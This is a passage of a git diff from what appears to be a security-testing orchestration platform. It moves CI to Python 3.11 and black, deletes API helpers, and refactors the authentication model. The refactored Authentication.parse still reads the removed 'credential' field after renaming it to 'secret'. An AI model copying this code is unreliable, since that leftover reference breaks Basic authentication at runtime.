src/backend/testing/data/reports/nuclei/tech_and_vulns.json delete mode 100644 src/backend/testing/data/reports/searchsploit/exploits.json delete mode 100644 src/backend/testing/data/reports/searchsploit/nothing.json delete mode 100644 src/backend/testing/data/reports/smbmap/directories.txt delete mode 100644 src/backend/testing/data/reports/smbmap/shares.txt delete mode 100644 src/backend/testing/data/reports/spring4shell_scan/cve_2022_22963.txt delete mode 100644 src/backend/testing/data/reports/spring4shell_scan/cve_2022_22965.txt delete mode 100644 src/backend/testing/data/reports/spring4shell_scan/not_vulnerable.txt delete mode 100644 src/backend/testing/data/reports/ssh_audit/cve_2018_10933.txt delete mode 100644 src/backend/testing/data/reports/ssh_audit/cve_2018_15473.txt delete mode 100644 src/backend/testing/data/reports/sslscan/heartbleed.xml delete mode 100644 src/backend/testing/data/reports/sslscan/insecure-renegotiation.xml delete mode 100644 src/backend/testing/data/reports/sslscan/protocols.xml delete mode 100644 src/backend/testing/data/reports/sslyze/insecure-renegotiation.json delete mode 100644 src/backend/testing/data/reports/sslyze/protocols.json delete mode 100644 src/backend/testing/data/reports/sslyze/vulnerabilities.json delete mode 100644 src/backend/testing/data/reports/theharvester/scanme.json delete mode 100644 src/backend/testing/data/reports/zap/active-scan.xml delete mode 100644 src/backend/testing/data/resources/endpoints_wordlist_1.txt delete mode 100644 src/backend/testing/data/resources/endpoints_wordlist_2.txt delete mode 100644 src/backend/testing/data/resources/invalid_extension.pdf delete mode 100644 src/backend/testing/data/resources/invalid_mime_type.txt delete mode 100644 src/backend/testing/data/resources/invalid_size.txt delete mode 100644 src/backend/testing/data/resources/passwords_wordlist.txt delete mode 100644 src/backend/testing/executions/__init__.py delete mode 100644 src/backend/testing/executions/test_base_tool.py delete mode 100644 src/backend/testing/executions/test_executions_from_findings.py delete mode 100644 src/backend/testing/integrations/__init__.py delete mode 100644 src/backend/testing/integrations/test_nvd_nist.py delete mode 100644 src/backend/testing/mocks/__init__.py delete mode 100644 src/backend/testing/mocks/defectdojo.py delete mode 100644 src/backend/testing/mocks/nvd_nist.py delete mode 100644 src/backend/testing/test_case.py delete mode 100644 src/backend/testing/tools/__init__.py delete mode 100644 src/backend/testing/tools/base.py delete mode 100644 src/backend/testing/tools/test_cmseek.py delete mode 100644 src/backend/testing/tools/test_dirsearch.py delete mode 100644 src/backend/testing/tools/test_emailfinder.py delete mode 100644 src/backend/testing/tools/test_emailharvester.py delete mode 100644 src/backend/testing/tools/test_gitleaks.py delete mode 100644 src/backend/testing/tools/test_gobuster.py delete mode 100644 src/backend/testing/tools/test_joomscan.py delete mode 100644 src/backend/testing/tools/test_log4j_scan.py delete mode 100644 src/backend/testing/tools/test_metasploit.py delete mode 100644 src/backend/testing/tools/test_nitkto.py delete mode 100644 src/backend/testing/tools/test_nmap.py delete mode 100644 src/backend/testing/tools/test_nuclei.py delete mode 100644 src/backend/testing/tools/test_searchsploit.py delete mode 100644 src/backend/testing/tools/test_smbmap.py delete mode 100644 src/backend/testing/tools/test_spring4shell_scan.py delete mode 100644 src/backend/testing/tools/test_ssh_audit.py delete mode 100644 src/backend/testing/tools/test_sslscan.py delete mode 100644 src/backend/testing/tools/test_sslyze.py delete mode 100644 src/backend/testing/tools/test_theharvester.py delete mode 100644 src/backend/testing/tools/test_zap.py delete mode 100644 src/backend/tools/__init__.py delete mode 100644 src/backend/tools/admin.py delete mode 100644 src/backend/tools/apps.py delete mode 100644 src/backend/tools/enums.py delete mode 100644 src/backend/tools/exceptions.py delete mode 100644 src/backend/tools/executor/__init__.py delete mode 100644 src/backend/tools/executor/callback.py delete mode 100644 src/backend/tools/executor/executor.py delete mode 100644 src/backend/tools/filters.py delete mode 100644 src/backend/tools/fixtures/1_tools.json delete mode 100644 src/backend/tools/fixtures/2_intensities.json delete mode 100644 src/backend/tools/fixtures/3_configurations.json delete mode 100644 src/backend/tools/fixtures/4_arguments.json delete mode 100644 src/backend/tools/fixtures/5_inputs.json delete mode 100644 src/backend/tools/fixtures/6_outputs.json delete mode 100644 src/backend/tools/migrations/0001_initial.py delete mode 100644 src/backend/tools/migrations/0002_initial.py delete mode 100644 src/backend/tools/migrations/0003_auto_20230105_1642.py delete mode 100644 src/backend/tools/migrations/__init__.py delete mode 100644 src/backend/tools/models.py delete mode 100644 src/backend/tools/serializers.py delete mode 100644 src/backend/tools/tools/__init__.py delete mode 100644 src/backend/tools/tools/base_tool.py delete mode 100644 src/backend/tools/tools/cmseek.py delete mode 100644 src/backend/tools/tools/dirsearch.py delete mode 100644 src/backend/tools/tools/emailfinder.py delete mode 100644 src/backend/tools/tools/emailharvester.py delete mode 100644 src/backend/tools/tools/gitleaks.py delete mode 100644 src/backend/tools/tools/gobuster.py delete mode 100644 src/backend/tools/tools/joomscan.py delete mode 100644 src/backend/tools/tools/log4j_scan.py delete mode 100644 src/backend/tools/tools/metasploit.py delete mode 100644 src/backend/tools/tools/nikto.py delete mode 100644 src/backend/tools/tools/nmap.py delete mode 100644 src/backend/tools/tools/nuclei.py delete mode 100644 src/backend/tools/tools/searchsploit.py delete mode 100644 src/backend/tools/tools/smbmap.py delete mode 100644 src/backend/tools/tools/spring4shell_scan.py delete mode 100644 src/backend/tools/tools/ssh_audit.py delete mode 100644 src/backend/tools/tools/sslscan.py delete mode 100644 src/backend/tools/tools/sslyze.py delete mode 100644 src/backend/tools/tools/theharvester.py delete mode 100644 src/backend/tools/tools/zap.py delete mode 100644 src/backend/tools/urls.py delete mode 100644 src/backend/tools/utils.py delete mode 100644 src/backend/tools/views.py delete mode 100644 src/backend/users/__init__.py delete mode 100644 src/backend/users/admin.py delete mode 100644 src/backend/users/apps.py delete mode 100644 src/backend/users/enums.py delete mode 100644 src/backend/users/filters.py delete mode 100644 src/backend/users/migrations/0001_initial.py delete mode 100644 src/backend/users/migrations/__init__.py delete mode 100644 src/backend/users/models.py delete mode 100644 src/backend/users/serializers.py delete mode 100644 src/backend/users/urls.py delete mode 100644 src/backend/users/views.py rename src/backend/{executions/migrations => wordlists}/__init__.py (100%) create mode 100644 src/backend/wordlists/admin.py create mode 100644 src/backend/wordlists/apps.py rename src/backend/{resources => wordlists}/enums.py (100%) create mode 100644 src/backend/wordlists/filters.py rename src/backend/{resources => wordlists}/fixtures/1_wordlists.json (100%) create mode 100644 src/backend/wordlists/models.py create mode 100644 src/backend/wordlists/serializers.py rename src/backend/{resources => wordlists}/urls.py (100%) create mode 100644 src/backend/wordlists/views.py diff --git a/.dockerignore b/.dockerignore index 9dd136ea8..e99393750 100644 --- a/.dockerignore +++ b/.dockerignore @@ -4,15 +4,14 @@ .mypy_cache .scannerwork .vscode -.src/flake8 .pre-commit-config.yaml .gitleaksignore .coveragerc -src/mypy.ini +src/backend/.mypy.ini *.md -src/reports/ -src/wordlists/ -src/logs/ +src/backend/reports/ +src/backend/wordlists/ +src/backend/logs/ src/frontend/node_modules/* src/backend/testing/* .DS_Store \ No newline at end of file diff --git a/.github/workflows/code-style-backend.yml b/.github/workflows/code-style-backend.yml index 23f3fad55..fe5b706a7 100644 --- a/.github/workflows/code-style-backend.yml +++ b/.github/workflows/code-style-backend.yml @@ -6,7 +6,7 @@ on: - 'src/backend/**' jobs: - flake8: + black: runs-on: ubuntu-latest steps: - name: Checkout @@ -14,10 +14,17 @@ jobs: with: fetch-depth: 0 - - name: Flake8 check - uses: valentijnscholten/flake8-your-pr@master - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + - uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install Python dependencies + run: | + python -m pip install -U pip + python -m pip install -r src/backend/requirements-dev.txt + + - name: Black check + run: python -m black --check src/backend/ mypy: runs-on: ubuntu-latest @@ -29,15 +36,12 @@ jobs: - uses: actions/setup-python@v4 with: - python-version: '3.8' + python-version: '3.11' - name: Install Python dependencies run: | python -m pip install -U pip - python -m pip install -r src/backend/requirements.txt - - - name: Install MyPy - run: python3 -m pip install mypy==0.931 + python -m pip install -r src/backend/requirements-dev.txt - name: MyPy check run: mypy --namespace-packages --package rekono --install-types --non-interactive diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index c13b5ef0e..c1fd3d98d 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -19,7 +19,7 @@ jobs: - name: Setup Python 3 uses: actions/setup-python@v4 with: - python-version: 3.7 + python-version: 3.11 - name: Install Semgrep run: pip install semgrep diff --git a/.github/workflows/unit-testing.yml b/.github/workflows/unit-testing.yml index 3226b5efb..3fd0311a6 100644 --- a/.github/workflows/unit-testing.yml +++ b/.github/workflows/unit-testing.yml @@ -41,10 +41,10 @@ jobs: - uses: actions/setup-python@v4 with: - python-version: '3.9' + python-version: '3.11' - name: Install Python dependencies - run: python3 -m pip install -r src/backend/requirements.txt + run: python3 -m pip install -r src/backend/requirements-dev.txt - name: Run unit tests working-directory: src/backend diff --git a/.gitignore b/.gitignore index 94bdadf61..68db085d2 100644 --- a/.gitignore +++ b/.gitignore @@ -132,9 +132,9 @@ dmypy.json .DS_Store .vscode/ .scannerwork/ -/reports/ -/wordlists/ -/logs/ +src/reports/ +src/wordlists/ +src/logs/ /static/ # Vue.JS @@ -156,4 +156,7 @@ yarn-error.log* # Debian package *.desktop rekono-kbx -*.kaboxer.yaml \ No newline at end of file +*.kaboxer.yaml + +# Temporal ignore +src/backend-1.x/ \ No newline at end of file diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 2ffbf1ca5..8ca03fb9d 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -9,10 +9,10 @@ repos: require_serial: true verbose: true - repo: https://github.com/gitleaks/gitleaks - rev: v8.16.1 + rev: v8.17.0 hooks: - id: gitleaks - - repo: https://github.com/PyCQA/flake8 - rev: 4.0.1 + - repo: https://github.com/python/black.git + rev: 23.7.0 hooks: - - id: flake8 + - id: black diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index bb503248c..b4301ff35 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,7 +50,7 @@ New Rekono contributions should tested using unit tests. This project has the following checks in _Continuous Integration_: -1. `Code style`: check the source code style using `mypy`, `flake8` and `eslint`. +1. `Code style`: check the source code style using `mypy`, `black` and `eslint`. 2. `Desktop applications`: generate installers for Rekono Desktop in Linux, MacOS and Windows. diff --git a/docker/Dockerfile.backend b/docker/Dockerfile.backend index 31760cf29..d08d2a347 100644 --- a/docker/Dockerfile.backend +++ b/docker/Dockerfile.backend @@ -1,4 +1,4 @@ -FROM python:3.9.10-alpine +FROM python:3.11.4-alpine # Environment ENV PYTHONDONTWRITEBYTECODE 1 diff --git a/src/backend/.flake8 b/src/backend/.flake8 deleted file mode 100644 index 0f1ff22dd..000000000 --- a/src/backend/.flake8 +++ /dev/null @@ -1,7 +0,0 @@ -[flake8] -exclude = .git,__pycache__,*/migrations/*,venv/*,src/frontend/* -ignore=W504,W605 -; W504: Disallow line break after binary operator (and, or, etc.). Inconsistency with W503 -; W605: Invalid escape characters (needed to send Telegram messages with Markdown style) -max-line-length = 120 -max-complexity = 10 \ No newline at end of file diff --git a/src/backend/.mypy.ini b/src/backend/.mypy.ini index fc36a9534..466ff81d5 100644 --- a/src/backend/.mypy.ini +++ b/src/backend/.mypy.ini @@ -2,4 +2,4 @@ files = src/backend/** ; Mypy fails due to some external imports without hints ignore_missing_imports = True -exclude = (.*/migrations/.*|venv/.*|src/frontend/.*) \ No newline at end of file +exclude = (.*/migrations/.*|venv/.*) \ No newline at end of file diff --git a/src/backend/api/__init__.py b/src/backend/api/__init__.py deleted file mode 100644 index fc4d1e969..000000000 --- a/src/backend/api/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Common API configurations and utilities.''' diff --git a/src/backend/api/fields.py b/src/backend/api/fields.py deleted file mode 100644 index 21871e50d..000000000 --- a/src/backend/api/fields.py +++ /dev/null @@ -1,65 +0,0 @@ -from drf_spectacular.types import OpenApiTypes -from drf_spectacular.utils import extend_schema_field -from rest_framework import serializers -from taggit.serializers import TagListSerializerField - - -@extend_schema_field(OpenApiTypes.STR) -class IntegerChoicesField(serializers.Field): - '''Serializer field to manage IntegerChoices values.''' - - def to_representation(self, value: int) -> str: - '''Return text value to send to the client. - - Args: - value (int): Integer value of the IntegerChoices field - - Returns: - str: String value associated to the integer - ''' - return self.model(value).name.capitalize() - - def to_internal_value(self, data: str) -> int: - '''Return integer value to be stored in database. - - Args: - data (str): String value of the IntegerChoices field - - Returns: - int: Integer value associated to the string - ''' - return self.model[data.upper()].value - - -@extend_schema_field({'type': 'array', 'items': {'type': 'string'}}) -class RekonoTagField(TagListSerializerField): - '''Internal serializer field for TagListSerializerField, including API documentation.''' - - pass - - -@extend_schema_field(OpenApiTypes.STR) -class ProtectedStringValueField(serializers.Field): - '''Serializer field to manage protected system values.''' - - def to_representation(self, value: str) -> str: - '''Return text value to send to the client. - - Args: - value (str): Internal text value - - Returns: - str: Text value that contains multiple '*' characters - ''' - return '*' * len(value) - - def to_internal_value(self, value: str) -> str: - '''Return text value to be stored in database. - - Args: - value (str): Text value provided by the client - - Returns: - str: Text value to be stored. Save value than the provided one. - ''' - return value diff --git a/src/backend/api/filters.py b/src/backend/api/filters.py deleted file mode 100644 index ec4dc16d8..000000000 --- a/src/backend/api/filters.py +++ /dev/null @@ -1,104 +0,0 @@ -from typing import Any, List - -from django.db.models import Q, QuerySet -from django.views import View -from django_filters.rest_framework import (DjangoFilterBackend, FilterSet, - filters) -from rest_framework.filters import OrderingFilter, SearchFilter -from rest_framework.request import Request -from tools.models import Tool - - -class RekonoFilterBackend(DjangoFilterBackend): - '''Rekono filter backend from DjangoFilterBackend. - - This can't be added as default backend because cause warnings when access swagger-ui. - This is required at least for Finding views to allow filters by N-M relations like 'executions' field. - ''' - - def filter_queryset(self, request: Request, queryset: QuerySet, view: View) -> Any: - '''Filter queryset. - - Args: - request (Request): HTTP request - queryset (QuerySet): Queryset to filter - view (View): Django view affected - - Returns: - Any: Filtered queryset - ''' - return super().filter_queryset(request, queryset, view).distinct() - - -class RekonoSearchFilter(SearchFilter): - '''Rekono search filter from SearchFilter.''' - - def filter_queryset(self, request: Request, queryset: QuerySet, view: View) -> QuerySet: - '''Filter queryset. - - Args: - request (Request): HTTP request - queryset (QuerySet): Queryset to filter - view (View): Django view affected - - Returns: - QuerySet: Filtered queryset - ''' - return super().filter_queryset(request, queryset, view).distinct() # Ignore duplicates if exist - - -class RekonoOrderingFilter(OrderingFilter): - '''Rekono ordering filter from OrderingFilter.''' - - def filter_queryset(self, request: Request, queryset: QuerySet, view: View) -> QuerySet: - '''Filter queryset. - - Args: - request (Request): HTTP request - queryset (QuerySet): Queryset to filter - view (View): Django view affected - - Returns: - QuerySet: Filtered queryset - ''' - return super().filter_queryset(request, queryset, view).distinct() # Ignore duplicates if exist - - -class RekonoMultipleFieldFilter(FilterSet): - '''Filter that allows querysets filtering using two model fields.''' - - def multiple_field_filter(self, queryset: QuerySet, value: Any, fields: List[str]) -> QuerySet: - '''Filter queryset using two model fields simultaneously. - - Args: - queryset (QuerySet): Queryset to be filtered - value (Any): Value to filter the queryset - fields (List[str]): List with the name of the fields to use - - Returns: - QuerySet: Queryset filtered by the two fields - ''' - filter_query = Q() - for field in fields: - filter_query |= Q(**{field: value}) - return queryset.filter(filter_query) - - -class BaseToolFilter(RekonoMultipleFieldFilter): - '''Filter that allows querysets filtering by Tool using two model fields.''' - - tool = filters.NumberFilter(field_name='tool', method='filter_tool') # Tool Id given by the user - tool_fields: List[str] = [] # Tool field names to use in the filter - - def filter_tool(self, queryset: QuerySet, name: str, value: Tool) -> QuerySet: - '''Filter queryset by Tool using two model fields simultaneously. - - Args: - queryset (QuerySet): Queryset to be filtered - name (str): Field name. Not used in this case - value (Tool): Tool to filter the queryset - - Returns: - QuerySet: Queryset filtered by the Tool using the defined 'tool_fields' - ''' - return self.multiple_field_filter(queryset, value, self.tool_fields) diff --git a/src/backend/api/log.py b/src/backend/api/log.py deleted file mode 100644 index 1824b7e44..000000000 --- a/src/backend/api/log.py +++ /dev/null @@ -1,26 +0,0 @@ -import logging -from typing import Any - - -class RekonoLoggingFilter(logging.Filter): - '''Logging filter for Rekono.''' - - def filter(self, record: Any) -> bool: - '''Filter logging records. - - Args: - record (Any): Log record - - Returns: - bool: Indicate if log record is included or not - ''' - if hasattr(record, 'request'): # Record with request data - record.source_ip = record.request.META.get('REMOTE_ADDR') # Remote address by default - record.user = 'anonymous' # Anonymous user by default - if hasattr(record.request, 'user') and record.request.user and record.request.user.id: - # Authenticated request - record.user = record.request.user.id - else: # Record without request data - record.source_ip = record.source_ip if hasattr(record, 'source_ip') else '' - record.user = record.user if hasattr(record, 'user') else '' - return True diff --git a/src/backend/api/pagination.py b/src/backend/api/pagination.py deleted file mode 100644 index aa4748e7b..000000000 --- a/src/backend/api/pagination.py +++ /dev/null @@ -1,10 +0,0 @@ -from rest_framework.pagination import PageNumberPagination - - -class Pagination(PageNumberPagination): - '''Pagination configuration for API Rest.''' - - page_query_param = 'page' # Page parameter - page_size_query_param = 'limit' # Size parameter - page_size = 25 # Default page size - max_page_size = 1000 # Max page size diff --git a/src/backend/api/views.py b/src/backend/api/views.py deleted file mode 100644 index 8cd0f8e8e..000000000 --- a/src/backend/api/views.py +++ /dev/null @@ -1,70 +0,0 @@ -from typing import Any, Dict, List, cast - -from django.core.exceptions import PermissionDenied -from django.db.models import QuerySet -from rest_framework.serializers import Serializer -from rest_framework.viewsets import GenericViewSet -from users.models import User - - -class GetViewSet(GenericViewSet): - '''Rekono base ViewSet for GET operations.''' - - def get_queryset(self) -> QuerySet: - '''Get the queryset that the user is allowed to get, based on project members. - - Returns: - QuerySet: Execution queryset - ''' - # Prevent warnings when access the API schema in SwaggerUI or Redoc - # This is caused by the use of RekonoFilterBackend, that is required for Findings entities - if self.request.user.id: - project_filter = {self.members_field: self.request.user} - return super().get_queryset().filter(**project_filter) - return None - - -class CreateWithUserViewSet(GenericViewSet): - '''Rekono base ViewSet for POST operations with user ownershipt.''' - - def perform_create(self, serializer: Serializer) -> None: - '''Create a new instance using a serializer and including the user owner. - - Args: - serializer (Serializer): Serializer to use in the instance creation - ''' - if self.user_field: - parameters = {self.user_field: self.request.user} - serializer.save(**parameters) - else: - super().perform_create(serializer) - - -class CreateViewSet(GenericViewSet): - '''Rekono base ViewSet for POST operations.''' - - def get_project_members(self, data: Dict[str, Any]) -> List[User]: - '''Get project members related to the current entity. - - Args: - data (Dict[str, Any]): Serialized data - - Returns: - List[User]: List of project members - ''' - fields = self.members_field.split('__') - data = data.get(fields[0], {}) # Get first serialized field - for field in fields[1:]: - data = getattr(data, field) # Get all fields - return cast(QuerySet, data).all() if data else [] # Return all members - - def perform_create(self, serializer: Serializer) -> None: - '''Create a new instance using a serializer. - - Args: - serializer (Serializer): Serializer to use in the instance creation - ''' - if self.request.user not in self.get_project_members(serializer.validated_data): - # Current user can't create a new entity in this project - raise PermissionDenied() - super().perform_create(serializer) diff --git a/src/backend/authentications/__init__.py b/src/backend/authentications/__init__.py index e4ebe9578..2e5792fa1 100644 --- a/src/backend/authentications/__init__.py +++ b/src/backend/authentications/__init__.py @@ -1 +1 @@ -'''Authentications.''' +"""Authentications.""" diff --git a/src/backend/authentications/admin.py b/src/backend/authentications/admin.py index 33f7c57ad..913ebd61b 100644 --- a/src/backend/authentications/admin.py +++ b/src/backend/authentications/admin.py @@ -1,6 +1,5 @@ -from django.contrib import admin - from authentications.models import Authentication +from django.contrib import admin # Register your models here. diff --git a/src/backend/authentications/apps.py b/src/backend/authentications/apps.py index f57f3b4bb..6db30d6de 100644 --- a/src/backend/authentications/apps.py +++ b/src/backend/authentications/apps.py @@ -2,6 +2,4 @@ class AuthenticationConfig(AppConfig): - '''Authentication Django application.''' - - name = 'authentications' + name = "authentications" diff --git a/src/backend/authentications/enums.py b/src/backend/authentications/enums.py index 9cb7b3ffc..d7d2bbc40 100644 --- a/src/backend/authentications/enums.py +++ b/src/backend/authentications/enums.py @@ -2,11 +2,12 @@ class AuthenticationType(models.TextChoices): - '''Supported authentication types.''' + """Supported authentication types.""" - BASIC = 'Basic' - BEARER = 'Bearer' - COOKIE = 'Cookie' - DIGEST = 'Digest' - JWT = 'JWT' - NTLM = 'NTLM' + BASIC = "Basic" + BEARER = "Bearer" + COOKIE = "Cookie" + DIGEST = "Digest" + JWT = "JWT" + NTLM = "NTLM" + TOKEN = "Token" diff --git a/src/backend/authentications/filters.py b/src/backend/authentications/filters.py index 48f499af0..4b839ed76 100644 --- a/src/backend/authentications/filters.py +++ b/src/backend/authentications/filters.py @@ -1,26 +1,18 @@ -from django_filters import rest_framework -from django_filters.rest_framework.filters import OrderingFilter - from authentications.models import Authentication +from django_filters.rest_framework import FilterSet -class AuthenticationFilter(rest_framework.FilterSet): - '''FilterSet to filter and sort authentications entities.''' - - o = OrderingFilter(fields=('target_port', 'name', 'type')) # Ordering fields +class AuthenticationFilter(FilterSet): + """FilterSet to filter and sort authentications entities.""" class Meta: model = Authentication - fields = { # Filter fields - 'target_port': ['exact'], - 'target_port__port': ['exact'], - 'target_port__target': ['exact'], - 'target_port__target__project': ['exact'], - 'target_port__target__project__name': ['exact', 'icontains'], - 'target_port__target__project__owner': ['exact'], - 'target_port__target__project__owner__username': ['exact', 'icontains'], - 'target_port__target__target': ['exact', 'icontains'], - 'target_port__target__type': ['exact'], - 'name': ['exact', 'icontains'], - 'type': ['exact'] + fields = { + "target_port": ["exact"], + "target_port__target": ["exact"], + "target_port__target__project": ["exact"], + "target_port__target__project__name": ["exact", "icontains"], + "target_port__target__target": ["exact", "icontains"], + "name": ["exact", "icontains"], + "type": ["exact"], } diff --git a/src/backend/authentications/migrations/0001_initial.py b/src/backend/authentications/migrations/0001_initial.py deleted file mode 100644 index 93b06da28..000000000 --- a/src/backend/authentications/migrations/0001_initial.py +++ /dev/null @@ -1,29 +0,0 @@ -# Generated by Django 3.2.16 on 2023-01-08 12:56 - -from django.db import migrations, models -import django.db.models.deletion -import input_types.base -import security.input_validation - - -class Migration(migrations.Migration): - - initial = True - - dependencies = [ - ('targets', '0002_auto_20230108_1356'), - ] - - operations = [ - migrations.CreateModel( - name='Authentication', - fields=[ - ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), - ('name', models.TextField(max_length=100, validators=[security.input_validation.validate_name])), - ('credential', models.TextField(max_length=500, validators=[security.input_validation.validate_credential])), - ('type', models.TextField(choices=[('Basic', 'Basic'), ('Bearer', 'Bearer'), ('Cookie', 'Cookie'), ('Digest', 'Digest'), ('JWT', 'Jwt'), ('NTLM', 'Ntlm')], max_length=8)), - ('target_port', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='authentication', to='targets.targetport')), - ], - bases=(models.Model, input_types.base.BaseInput), - ), - ] diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 36ad4ab2a..ae7d1c720 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -1,75 +1,80 @@ import base64 from typing import Any, Dict +from authentications.enums import AuthenticationType from django.db import models -from input_types.enums import InputKeyword -from input_types.models import BaseInput +from framework.enums import InputKeyword +from framework.models import BaseInput from projects.models import Project -from security.input_validation import validate_credential, validate_name -from targets.models import TargetPort -from tools.models import Input - -from authentications.enums import AuthenticationType +from security.input_validation import validate_secret, validate_name +from target_ports.models import TargetPort # Create your models here. -class Authentication(models.Model, BaseInput): - '''Authentication model.''' +class Authentication(BaseInput): + """Authentication model.""" # Related target port - target_port = models.OneToOneField(TargetPort, related_name='authentication', on_delete=models.CASCADE) - name = models.TextField(max_length=100, validators=[validate_name]) # Credential name - credential = models.TextField(max_length=500, validators=[validate_credential]) # Credential value - type = models.TextField(max_length=8, choices=AuthenticationType.choices) # Authentication type - - def filter(self, input: Input) -> bool: - '''Check if this instance is valid based on input filter. + target_port = models.OneToOneField( + TargetPort, related_name="authentication", on_delete=models.CASCADE + ) + name = models.TextField(max_length=100, validators=[validate_name]) + secret = models.TextField(max_length=500, validators=[validate_secret]) + type = models.TextField(max_length=8, choices=AuthenticationType.choices) - Args: - input (Input): Tool input whose filter will be applied - - Returns: - bool: Indicate if this instance match the input filter or not - ''' - if input.filter and input.filter[0] == '!': # Negative filter - return self.type.lower() not in input.filter[1:].split(',') # Check if filter doesn't match the type - # Check if filter matches the type - return not input.filter or self.type.lower() in input.filter.lower().split(',') + filters = [BaseInput.Filter(type=AuthenticationType, field="type")] def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: - '''Get useful information from this instance to be used in tool execution as argument. + """Get useful information from this instance to be used in tool execution as argument. Args: accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted - ''' + """ output = self.target_port.parse() - credential = { - InputKeyword.USERNAME.name.lower(): self.name if self.type == AuthenticationType.BASIC else None, - InputKeyword.COOKIE_NAME.name.lower(): self.name if self.type == AuthenticationType.COOKIE else None, - InputKeyword.SECRET.name.lower(): self.credential, - InputKeyword.TOKEN.name.lower(): self.credential if self.type != AuthenticationType.BASIC else base64.b64encode(f'{self.name}:{self.credential}'.encode()).decode(), # noqa: E501 - InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, - InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), - } - output.update(credential) + output.update( + { + InputKeyword.COOKIE_NAME.name.lower(): self.name + if self.type == AuthenticationType.COOKIE + else None, + InputKeyword.SECRET.name.lower(): self.secret, + InputKeyword.CREDENTIAL_TYPE.name.lower(): self.type, + InputKeyword.CREDENTIAL_TYPE_LOWER.name.lower(): self.type.lower(), + } + ) + if self.type == AuthenticationType.BASIC: + output.update( + { + InputKeyword.USERNAME.name.lower(): self.name, + InputKeyword.TOKEN.name.lower(): base64.b64encode( + f"{self.name}:{self.credential}".encode() + ).decode(), + } + ) + else: + output.update( + { + InputKeyword.USERNAME.name.lower(): None, + InputKeyword.TOKEN.name.lower(): self.secret, + } + ) return output def __str__(self) -> str: - '''Instance representation in text format. + """Instance representation in text format. Returns: str: String value that identifies this instance - ''' - return f'{self.target_port.__str__()} - {self.name}' + """ + return f"{self.target_port.__str__()} - {self.name}" def get_project(self) -> Project: - '''Get the related project for the instance. This will be used for authorization purposes. + """Get the related project for the instance. This will be used for authorization purposes. Returns: Project: Related project entity - ''' + """ return self.target_port.target.project diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index 23e8c45b6..b01a0a0f3 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -1,35 +1,23 @@ from typing import Any, Dict -from api.fields import ProtectedStringValueField -from rest_framework import serializers -from security.input_validation import validate_credential - from authentications.models import Authentication +from framework.fields import ProtectedSecretField +from rest_framework.serializers import ModelSerializer -class AuthenticationSerializer(serializers.ModelSerializer): - '''Serializer to manage authentications via API.''' +class AuthenticationSerializer(ModelSerializer): + """Serializer to manage authentications via API.""" - credential = ProtectedStringValueField(required=True, allow_null=False) # Credential value in a protected way + secret = ProtectedSecretField(required=True, allow_null=False) class Meta: - '''Serializer metadata.''' + """Serializer metadata.""" model = Authentication - fields = ('id', 'target_port', 'name', 'credential', 'type') # Authentication fields exposed via API - - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - '''Validate the provided data before use it. - - Args: - attrs (Dict[str, Any]): Provided data - - Raises: - ValidationError: Raised if provided data is invalid - - Returns: - Dict[str, Any]: Data after validation process - ''' - attrs = super().validate(attrs) - validate_credential(attrs['credential']) - return attrs + fields = ( + "id", + "target_port", + "name", + "secret", + "type", + ) diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index cf068d679..79aa358e4 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -1,26 +1,23 @@ -from api.views import CreateViewSet, GetViewSet -from rest_framework.mixins import (CreateModelMixin, DestroyModelMixin, - ListModelMixin, RetrieveModelMixin) - from authentications.filters import AuthenticationFilter from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer +from framework.views import BaseViewSet # Create your views here. -class AuthenticationViewSet( - GetViewSet, - CreateViewSet, - CreateModelMixin, - ListModelMixin, - RetrieveModelMixin, - DestroyModelMixin -): - '''Authentication ViewSet that includes: get, retrieve, create, and delete features.''' +class AuthenticationViewSet(BaseViewSet): + """Authentication ViewSet that includes: get, retrieve, create, and delete features.""" - queryset = Authentication.objects.all().order_by('-id') + queryset = Authentication.objects.all() serializer_class = AuthenticationSerializer filterset_class = AuthenticationFilter - search_fields = ['name'] - members_field = 'target_port__target__project__members' + search_fields = ["name"] + ordering_fields = ["id", "target_port", "name", "type"] + http_method_names = [ + "get", + "post", + "delete", + ] + + # members_field = "target_port__target__project__members" diff --git a/src/backend/defectdojo/__init__.py b/src/backend/defectdojo/__init__.py deleted file mode 100644 index 02aca9607..000000000 --- a/src/backend/defectdojo/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Defect-Dojo integration to import Rekono findings and executions.''' diff --git a/src/backend/defectdojo/api.py b/src/backend/defectdojo/api.py deleted file mode 100644 index 64de1d57a..000000000 --- a/src/backend/defectdojo/api.py +++ /dev/null @@ -1,304 +0,0 @@ -import logging -from datetime import datetime, timedelta -from typing import Any, Tuple -from urllib.parse import urlparse - -import requests -from findings.enums import Severity -from projects.models import Project -from requests.adapters import HTTPAdapter, Retry -from system.models import System - -from defectdojo.constants import DD_DATE_FORMAT, DD_DATETIME_FORMAT - -# Mapping between Rekono and Defect-Dojo severities -SEVERITY_MAPPING = { - str(Severity.INFO): 'S0', - str(Severity.LOW): 'S1', - str(Severity.MEDIUM): 'S3', - str(Severity.HIGH): 'S4', - 